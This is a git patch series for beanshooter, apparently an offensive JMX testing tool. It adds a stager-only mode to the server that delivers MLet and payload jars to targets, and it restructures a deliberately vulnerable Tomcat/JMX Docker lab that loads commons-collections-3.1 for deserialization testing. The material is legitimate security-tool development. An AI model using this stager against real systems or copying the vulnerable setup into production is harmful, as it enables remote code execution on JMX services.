From b5a45e2e562869ff68559be42ac062a3cbe20c8a Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sat, 24 Oct 2020 22:54:38 +0200 Subject: [PATCH 001/100] Remove non required dependency Removed the not required dependency to com.sun.net.httpserver. This one is not part of the Java public API but is present in almost all Java runtimes including openjdk. In general the dependency seems not to be an optimal solution. If someone reports errors after this change, we might include another dependency for the HTTP stuff. --- pom.xml | 7 ------- 1 file changed, 7 deletions(-) diff --git a/pom.xml b/pom.xml index ffb1f84..d4f7b11 100644 --- a/pom.xml +++ b/pom.xml @@ -23,13 +23,6 @@ 1.4 - - com.sun.net.httpserver - http - 20070405 - test - - org.glassfish.external opendmk_jmxremote_optional_jar From 1e4499666411e97b0dc8cb71a2d82cb96da2f8e7 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sun, 25 Oct 2020 06:05:47 +0100 Subject: [PATCH 002/100] Fix formatting bug in stager-only mode --- src/de/qtc/beanshooter/Beanshooter.java | 2 +- src/de/qtc/beanshooter/GreenGrocer.java | 7 ++++++- src/de/qtc/beanshooter/utils/MLetHandler.java | 7 ++++++- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/src/de/qtc/beanshooter/Beanshooter.java b/src/de/qtc/beanshooter/Beanshooter.java index 0fcd3c7..0bef77d 100644 --- a/src/de/qtc/beanshooter/Beanshooter.java +++ b/src/de/qtc/beanshooter/Beanshooter.java @@ -193,7 +193,7 @@ public static void main(String[] argv) { } if( stagerOnlyValue ) { - gg.startStagerServer(bindAddressValue, bindPortValue, stagerHostValue, stagerPortValue); + gg.startStagerServer(bindAddressValue, bindPortValue, stagerHostValue, stagerPortValue, true); Scanner dummyScanner = new Scanner(System.in); Logger.print_bl("Press Enter to stop listening..."); dummyScanner.nextLine(); diff --git a/src/de/qtc/beanshooter/GreenGrocer.java b/src/de/qtc/beanshooter/GreenGrocer.java index c9e85ff..ce9f8db 100644 --- a/src/de/qtc/beanshooter/GreenGrocer.java +++ b/src/de/qtc/beanshooter/GreenGrocer.java @@ -557,6 +557,11 @@ public void getLoggerLevel(Object payload) } public HttpServer startStagerServer(String bindAddress, String bindPort, String stagerHost, String stagerPort) + { + this.startStagerServer(bindAddress, bindPort, stagerHost, stagerPort, false) + } + + public HttpServer startStagerServer(String bindAddress, String bindPort, String stagerHost, String stagerPort, boolean stagerOnly) { HttpServer server = null; try { @@ -580,7 +585,7 @@ public HttpServer startStagerServer(String bindAddress, String bindPort, String /* Then we register an MLetHandler for requests on the endpoint /mlet */ Logger.print("Creating MLetHandler for endpoint: "); Logger.printlnPlain_bl("/mlet"); - server.createContext("/mlet", new MLetHandler(stagerHost, stagerPort, this.beanClass, this.jarName, this.objectName)); + server.createContext("/mlet", new MLetHandler(stagerHost, stagerPort, this.beanClass, this.jarName, this.objectName, boolean stagerOnly)); /* Then we register a jar handler for requests that target our jarName */ Logger.print("Creating JarHandler for endpoint: "); diff --git a/src/de/qtc/beanshooter/utils/MLetHandler.java b/src/de/qtc/beanshooter/utils/MLetHandler.java index 0a5332b..000451c 100644 --- a/src/de/qtc/beanshooter/utils/MLetHandler.java +++ b/src/de/qtc/beanshooter/utils/MLetHandler.java @@ -16,18 +16,23 @@ public class MLetHandler implements HttpHandler { String jarName = null; String mBeanClass = null; String objectName = null; + boolean StagerOnly = false; - public MLetHandler(String host, String port, String beanClass, String jarName, String objectName) + public MLetHandler(String host, String port, String beanClass, String jarName, String objectName, boolean stagerOnly) { this.host = host; this.port = port; this.jarName = jarName; this.mBeanClass = beanClass; this.objectName = objectName; + this.stagerOnly = stagerOnly; } public void handle(HttpExchange t) throws IOException { + if( stagerOnly ) + System.out.println(""); + Logger.print("Received request for: "); Logger.eprintlnPlain_ye("/mlet"); From 4fc29ea7ca62f25f7a8effa3599451bbe42eeb8c Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sun, 25 Oct 2020 06:11:37 +0100 Subject: [PATCH 003/100] Fix Java errors introduced by previous commit Never write Java without an IDE ._. --- src/de/qtc/beanshooter/GreenGrocer.java | 4 ++-- src/de/qtc/beanshooter/utils/MLetHandler.java | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/de/qtc/beanshooter/GreenGrocer.java b/src/de/qtc/beanshooter/GreenGrocer.java index ce9f8db..6612542 100644 --- a/src/de/qtc/beanshooter/GreenGrocer.java +++ b/src/de/qtc/beanshooter/GreenGrocer.java @@ -558,7 +558,7 @@ public void getLoggerLevel(Object payload) public HttpServer startStagerServer(String bindAddress, String bindPort, String stagerHost, String stagerPort) { - this.startStagerServer(bindAddress, bindPort, stagerHost, stagerPort, false) + return this.startStagerServer(bindAddress, bindPort, stagerHost, stagerPort, false); } public HttpServer startStagerServer(String bindAddress, String bindPort, String stagerHost, String stagerPort, boolean stagerOnly) @@ -585,7 +585,7 @@ public HttpServer startStagerServer(String bindAddress, String bindPort, String /* Then we register an MLetHandler for requests on the endpoint /mlet */ Logger.print("Creating MLetHandler for endpoint: "); Logger.printlnPlain_bl("/mlet"); - server.createContext("/mlet", new MLetHandler(stagerHost, stagerPort, this.beanClass, this.jarName, this.objectName, boolean stagerOnly)); + server.createContext("/mlet", new MLetHandler(stagerHost, stagerPort, this.beanClass, this.jarName, this.objectName, stagerOnly)); /* Then we register a jar handler for requests that target our jarName */ Logger.print("Creating JarHandler for endpoint: "); diff --git a/src/de/qtc/beanshooter/utils/MLetHandler.java b/src/de/qtc/beanshooter/utils/MLetHandler.java index 000451c..dacbb64 100644 --- a/src/de/qtc/beanshooter/utils/MLetHandler.java +++ b/src/de/qtc/beanshooter/utils/MLetHandler.java @@ -16,7 +16,7 @@ public class MLetHandler implements HttpHandler { String jarName = null; String mBeanClass = null; String objectName = null; - boolean StagerOnly = false; + boolean stagerOnly = false; public MLetHandler(String host, String port, String beanClass, String jarName, String objectName, boolean stagerOnly) { From 126a75ec11640de45c0a644b960214c23dcab7a4 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sun, 25 Oct 2020 06:30:52 +0100 Subject: [PATCH 004/100] Further formatting improvments in stager only mode --- src/de/qtc/beanshooter/GreenGrocer.java | 2 +- src/de/qtc/beanshooter/utils/JarHandler.java | 15 +++++++++++++++ src/de/qtc/beanshooter/utils/MLetHandler.java | 12 +++++++++++- 3 files changed, 27 insertions(+), 2 deletions(-) diff --git a/src/de/qtc/beanshooter/GreenGrocer.java b/src/de/qtc/beanshooter/GreenGrocer.java index 6612542..db6f00e 100644 --- a/src/de/qtc/beanshooter/GreenGrocer.java +++ b/src/de/qtc/beanshooter/GreenGrocer.java @@ -590,7 +590,7 @@ public HttpServer startStagerServer(String bindAddress, String bindPort, String /* Then we register a jar handler for requests that target our jarName */ Logger.print("Creating JarHandler for endpoint: "); Logger.printlnPlain_bl("/" + this.jarName); - server.createContext("/" + this.jarName, new JarHandler(this.jarName, this.jarPath)); + server.createContext("/" + this.jarName, new JarHandler(this.jarName, this.jarPath, stagerOnly)); server.setExecutor(null); diff --git a/src/de/qtc/beanshooter/utils/JarHandler.java b/src/de/qtc/beanshooter/utils/JarHandler.java index 5ac30fe..eef6b22 100644 --- a/src/de/qtc/beanshooter/utils/JarHandler.java +++ b/src/de/qtc/beanshooter/utils/JarHandler.java @@ -16,11 +16,18 @@ public class JarHandler implements HttpHandler { String jarName = null; String jarPath = null; + boolean stagerOnly = false; public JarHandler(String jarName, String jarPath) + { + this(jarName, jarPath, false); + } + + public JarHandler(String jarName, String jarPath, boolean stagerOnly) { this.jarName = jarName; this.jarPath = jarPath; + this.stagerOnly = stagerOnly; } private byte[] readJar(String jarPath, String jarName) throws IOException @@ -32,6 +39,11 @@ private byte[] readJar(String jarPath, String jarName) throws IOException public void handle(HttpExchange t) throws IOException { + if( stagerOnly ) { + System.out.println(""); + Logger.println(""); + } + String requestURL = t.getRequestURI().toString(); Logger.print("Received request for: "); Logger.eprintlnPlain_ye(requestURL); @@ -46,5 +58,8 @@ public void handle(HttpExchange t) throws IOException Logger.printlnPlain("done!"); Logger.println(""); + + if( stagerOnly ) + Logger.print_bl("Press Enter to stop listening..."); } } diff --git a/src/de/qtc/beanshooter/utils/MLetHandler.java b/src/de/qtc/beanshooter/utils/MLetHandler.java index dacbb64..ae9028b 100644 --- a/src/de/qtc/beanshooter/utils/MLetHandler.java +++ b/src/de/qtc/beanshooter/utils/MLetHandler.java @@ -18,6 +18,11 @@ public class MLetHandler implements HttpHandler { String objectName = null; boolean stagerOnly = false; + public MLetHandler(String host, String port, String beanClass, String jarName, String objectName) + { + this(host, port, beanClass, jarName, objectName, false); + } + public MLetHandler(String host, String port, String beanClass, String jarName, String objectName, boolean stagerOnly) { this.host = host; @@ -30,8 +35,10 @@ public MLetHandler(String host, String port, String beanClass, String jarName, S public void handle(HttpExchange t) throws IOException { - if( stagerOnly ) + if( stagerOnly ) { System.out.println(""); + Logger.println(""); + } Logger.print("Received request for: "); Logger.eprintlnPlain_ye("/mlet"); @@ -62,5 +69,8 @@ public void handle(HttpExchange t) throws IOException OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); + + if( stagerOnly ) + Logger.print_bl("Press Enter to stop listening..."); } } From 2cbe5b08ca32564181fa0001cac94d48f799395c Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Sun, 25 Oct 2020 06:49:12 +0100 Subject: [PATCH 005/100] Update CHANGELOG.md --- CHANGELOG.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 600c6d0..30f71f0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,14 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [x.x.x] - MM DD, YYYY + +### Changed + +* Removed dependency for sun http-server from pom.xml +* Improved formatting when used in stager-only mode + + ## [2.0.1] - Oct 2, 2020 ### Changed From b11fdafe82547b8b3e3f7f326c1afe3be01245c1 Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Wed, 30 Dec 2020 06:44:30 +0100 Subject: [PATCH 006/100] Update completion script --- resources/bash_completion.d/beanshooter | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/resources/bash_completion.d/beanshooter b/resources/bash_completion.d/beanshooter index 5848682..49ee5b8 100644 --- a/resources/bash_completion.d/beanshooter +++ b/resources/bash_completion.d/beanshooter @@ -6,7 +6,7 @@ type _comp_filter_shorts &> /dev/null || return function _beanshooter() { - local cur prev words cword opts args + local cur prev words cword opts args gadgets _init_completion || return _count_args "" "@(--config|--bind-address|--bind-port|--bound-name|--password|--sasl|--stager-host|--stager-port|--username|--yso)" @@ -54,7 +54,7 @@ function _beanshooter() { elif [[ $args -eq 5 ]]; then # ... and the previous word is a gadget - complete nothing - if _comp_contains $gadgets $prev; then + if _comp_contains "$gadgets" $prev; then return 0 # ... and the action was 'upload' - complete nothing From 16b432574d0fd05d91b50f3a1351fa39b6eaacba Mon Sep 17 00:00:00 2001 From: TNeitzel Date: Wed, 30 Dec 2020 08:24:39 +0100 Subject: [PATCH 007/100] [docker] refactoring Reorganized the docker folder. Modified some folder names as well as the Dockerfile. All binary files were removed. commons-collections-3.1.jar and jmxremote-optional.jar are now loaded during the build process. The build process was seperated into a own docker stage that is running before building the actual container. --- .docker/Dockerfile | 47 ++++++----- .docker/Dockerfile.alternative | 46 +++++++---- .docker/docker-compose.yml | 3 +- .docker/resources/commons-collections-3.1.jar | Bin 559366 -> 0 bytes .docker/resources/jmxmp.jar | Bin 34048 -> 0 bytes .docker/resources/{src => }/jmxmp/README.md | 0 .docker/resources/jmxmp/pom.xml | 74 ++++++++++++++++++ .../resources/{src => }/jmxmp/src/com/LICENSE | 0 .../security/sasl/AuthenticateCallback.java | 0 .../com/sun/jdmk/security/sasl/Provider.java | 0 .../AuthenticationCallBackHandler.java | 0 .../jdmk/security/sasl/plain/PlainServer.java | 0 .../sasl/plain/ServerFactoryImpl.java | 0 .../jdmk/security/sasl/util/PolicyUtils.java | 0 .../extension/JMXMPLifecycleListener.java | 0 .../JMXMPSaslCramLifecycleListener.java | 0 .../JMXMPSaslDigestLifecycleListener.java | 0 .../extension/JMXMPSaslLifecycleListener.java | 0 .../JMXMPSaslNtlmLifecycleListener.java | 0 .../extension/JMXMPSslLifecycleListener.java | 0 .docker/resources/jmxremote-optional.jar | Bin 524734 -> 0 bytes .docker/resources/scripts/start.sh | 14 ++++ .docker/resources/src/jmxmp/pom.xml | 56 ------------- 23 files changed, 148 insertions(+), 92 deletions(-) delete mode 100644 .docker/resources/commons-collections-3.1.jar delete mode 100644 .docker/resources/jmxmp.jar rename .docker/resources/{src => }/jmxmp/README.md (100%) create mode 100644 .docker/resources/jmxmp/pom.xml rename .docker/resources/{src => }/jmxmp/src/com/LICENSE (100%) rename .docker/resources/{src => }/jmxmp/src/com/sun/jdmk/security/sasl/AuthenticateCallback.java (100%) rename .docker/resources/{src => }/jmxmp/src/com/sun/jdmk/security/sasl/Provider.java (100%) rename .docker/resources/{src => }/jmxmp/src/com/sun/jdmk/security/sasl/callbacks/AuthenticationCallBackHandler.java (100%) rename .docker/resources/{src => }/jmxmp/src/com/sun/jdmk/security/sasl/plain/PlainServer.java (100%) rename .docker/resources/{src => }/jmxmp/src/com/sun/jdmk/security/sasl/plain/ServerFactoryImpl.java (100%) rename .docker/resources/{src => }/jmxmp/src/com/sun/jdmk/security/sasl/util/PolicyUtils.java (100%) rename .docker/resources/{src => }/jmxmp/src/javax/management/remote/extension/JMXMPLifecycleListener.java (100%) rename .docker/resources/{src => }/jmxmp/src/javax/management/remote/extension/JMXMPSaslCramLifecycleListener.java (100%) rename .docker/resources/{src => }/jmxmp/src/javax/management/remote/extension/JMXMPSaslDigestLifecycleListener.java (100%) rename .docker/resources/{src => }/jmxmp/src/javax/management/remote/extension/JMXMPSaslLifecycleListener.java (100%) rename .docker/resources/{src => }/jmxmp/src/javax/management/remote/extension/JMXMPSaslNtlmLifecycleListener.java (100%) rename .docker/resources/{src => }/jmxmp/src/javax/management/remote/extension/JMXMPSslLifecycleListener.java (100%) delete mode 100644 .docker/resources/jmxremote-optional.jar create mode 100644 .docker/resources/scripts/start.sh delete mode 100644 .docker/resources/src/jmxmp/pom.xml diff --git a/.docker/Dockerfile b/.docker/Dockerfile index 1cbf245..e4c1169 100644 --- a/.docker/Dockerfile +++ b/.docker/Dockerfile @@ -1,25 +1,36 @@ -# This old image is required to verify cve-2016-3427. -# The oldest alpine based build is already no longer vulnerable. -FROM tomcat:8.0.18-jre8 +########################################### +### Build Stage ### +########################################### +FROM maven:3.6.3-openjdk-16-slim AS builder +COPY ./resources/jmxmp /usr/src/app +WORKDIR /usr/src/app +RUN mvn clean package -# Copy authentication and cert files -COPY ./resources/trust/store.p12 /opt/store.p12 -COPY ./resources/conf/jmxmp.access /opt/jmxmp.access -COPY ./resources/conf/jmxremote.access /opt/jmxremote.access -COPY ./resources/conf/jmxremote.password /opt/jmxremote.password -# Adjust permissions on password files (required by JMX) -RUN chmod 400 /opt/jmxmp.access /opt/jmxremote.access /opt/jmxremote.password +########################################### +### Container Stage ### +########################################### +FROM tomcat:8.0.18-jre8 +ENV SHA256_SUM c1547d185ba6880bcc2da261c5f7533512b6ffdbbc1898db5b793c0cb830fcf0 -# Copy server configuration files -COPY ./resources/conf/server.xml /usr/local/tomcat/conf/server.xml -COPY ./resources/conf/tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml +COPY ./resources/conf/tomcat-users.xml ./resources/conf/server.xml /usr/local/tomcat/conf/ COPY ./resources/conf/context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml +COPY ./resources/trust/store.p12 /opt/store.p12 +COPY ./resources/scripts/start.sh /opt/start.sh +COPY ./resources/conf/jmx* /opt/ + +COPY --from=builder /usr/src/app/target/jmxmp-*-jar-with-dependencies.jar /usr/local/tomcat/lib/jmxmp.jar -# Copy additional jars -COPY ./resources/jmxmp.jar /usr/local/tomcat/lib/jmxmp.jar -COPY ./resources/jmxremote-optional.jar /usr/local/tomcat/lib/jmxremote-optional.jar -COPY ./resources/commons-collections-3.1.jar /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/commons-collections-3.1.jar +RUN set -ex \ + && chmod 400 /opt/jmxmp.access /opt/jmxremote.access /opt/jmxremote.password \ + && chmod 774 /opt/start.sh \ + && cd /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/ext/ \ + && wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar \ + && if [ "$SHA256_SUM" != "$(sha256sum commons-collections-3.1.jar | awk '{print($1)}')" ]; then \ + echo "sha512 values doesn't match! exiting." \ + && exit 1; \ + fi \ + && cd - # Setup the environment (ssl registry, ssl jmx, no auth) ENV CATALINA_OPTS -Dcom.sun.management.jmxremote \ @@ -34,4 +45,4 @@ ENV CATALINA_OPTS -Dcom.sun.management.jmxremote \ -Dcom.sun.management.jmxremote.ssl=true \ -Dcom.sun.management.jmxremote.registry.ssl=true -CMD ["catalina.sh", "run"] +CMD ["/opt/start.sh"] diff --git a/.docker/Dockerfile.alternative b/.docker/Dockerfile.alternative index 14c05f9..649929a 100644 --- a/.docker/Dockerfile.alternative +++ b/.docker/Dockerfile.alternative @@ -1,24 +1,36 @@ -# alternative docker file. Contains all vulnerabilities except cve-2016-3427. -FROM tomcat:9-alpine +########################################### +### Build Stage ### +########################################### +FROM maven:3.6.3-openjdk-16-slim AS builder +COPY ./resources/jmxmp /usr/src/app +WORKDIR /usr/src/app +RUN mvn clean package -# Copy authentication and cert files -COPY ./resources/trust/store.p12 /opt/store.p12 -COPY ./resources/conf/jmxmp.access /opt/jmxmp.access -COPY ./resources/conf/jmxremote.access /opt/jmxremote.access -COPY ./resources/conf/jmxremote.password /opt/jmxremote.password -# Adjust permissions on password files (required by JMX) -RUN chmod 400 /opt/jmxmp.access /opt/jmxremote.access /opt/jmxremote.password +########################################### +### Container Stage ### +########################################### +FROM tomcat:9-alpine +ENV SHA256_SUM c1547d185ba6880bcc2da261c5f7533512b6ffdbbc1898db5b793c0cb830fcf0 -# Copy server configuration files -COPY ./resources/conf/server.xml /usr/local/tomcat/conf/server.xml -COPY ./resources/conf/tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml +COPY ./resources/conf/tomcat-users.xml ./resources/conf/server.xml /usr/local/tomcat/conf/ COPY ./resources/conf/context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml +COPY ./resources/trust/store.p12 /opt/store.p12 +COPY ./resources/scripts/start.sh /opt/start.sh +COPY ./resources/conf/jmx* /opt/ + +COPY --from=builder /usr/src/app/target/jmxmp-*-jar-with-dependencies.jar /usr/local/tomcat/lib/jmxmp.jar -# Copy additional jars -COPY ./resources/jmxmp.jar /usr/local/tomcat/lib/jmxmp.jar -COPY ./resources/jmxremote-optional.jar /usr/local/tomcat/lib/jmxremote-optional.jar -COPY ./resources/commons-collections-3.1.jar /usr/lib/jvm/default-jvm/jre/lib/ext/commons-collections-3.1.jar +RUN set -ex \ + && chmod 400 /opt/jmxmp.access /opt/jmxremote.access /opt/jmxremote.password \ + && chmod 774 /opt/start.sh \ + && cd /usr/lib/jvm/default-jvm/jre/lib/ext/ \ + && wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar \ + && if [ "$SHA256_SUM" != "$(sha256sum commons-collections-3.1.jar | awk '{print($1)}')" ]; then \ + echo "sha512 values doesn't match! exiting." \ + && exit 1; \ + fi \ + && cd - # Setup the environment (ssl registry, ssl jmx, no auth) ENV CATALINA_OPTS -Dcom.sun.management.jmxremote \ @@ -33,4 +45,4 @@ ENV CATALINA_OPTS -Dcom.sun.management.jmxremote \ -Dcom.sun.management.jmxremote.ssl=true \ -Dcom.sun.management.jmxremote.registry.ssl=true -CMD ["catalina.sh", "run"] +CMD ["/opt/start.sh"] diff --git a/.docker/docker-compose.yml b/.docker/docker-compose.yml index b3c748e..f0549fe 100644 --- a/.docker/docker-compose.yml +++ b/.docker/docker-compose.yml @@ -4,7 +4,8 @@ services: tomcat: - image: docker.pkg.github.com/qtc-de/beanshooter/tomcat8-jmxmp:1.0 + image: docker.pkg.github.com/qtc-de/beanshooter/tomcat8-jmxmp:1.1 + build: . environment: - > CATALINA_OPTS= diff --git a/.docker/resources/commons-collections-3.1.jar b/.docker/resources/commons-collections-3.1.jar deleted file mode 100644 index 41e230feeaa53618b6ac5f8d11792c2eecf4d4fd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559366 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 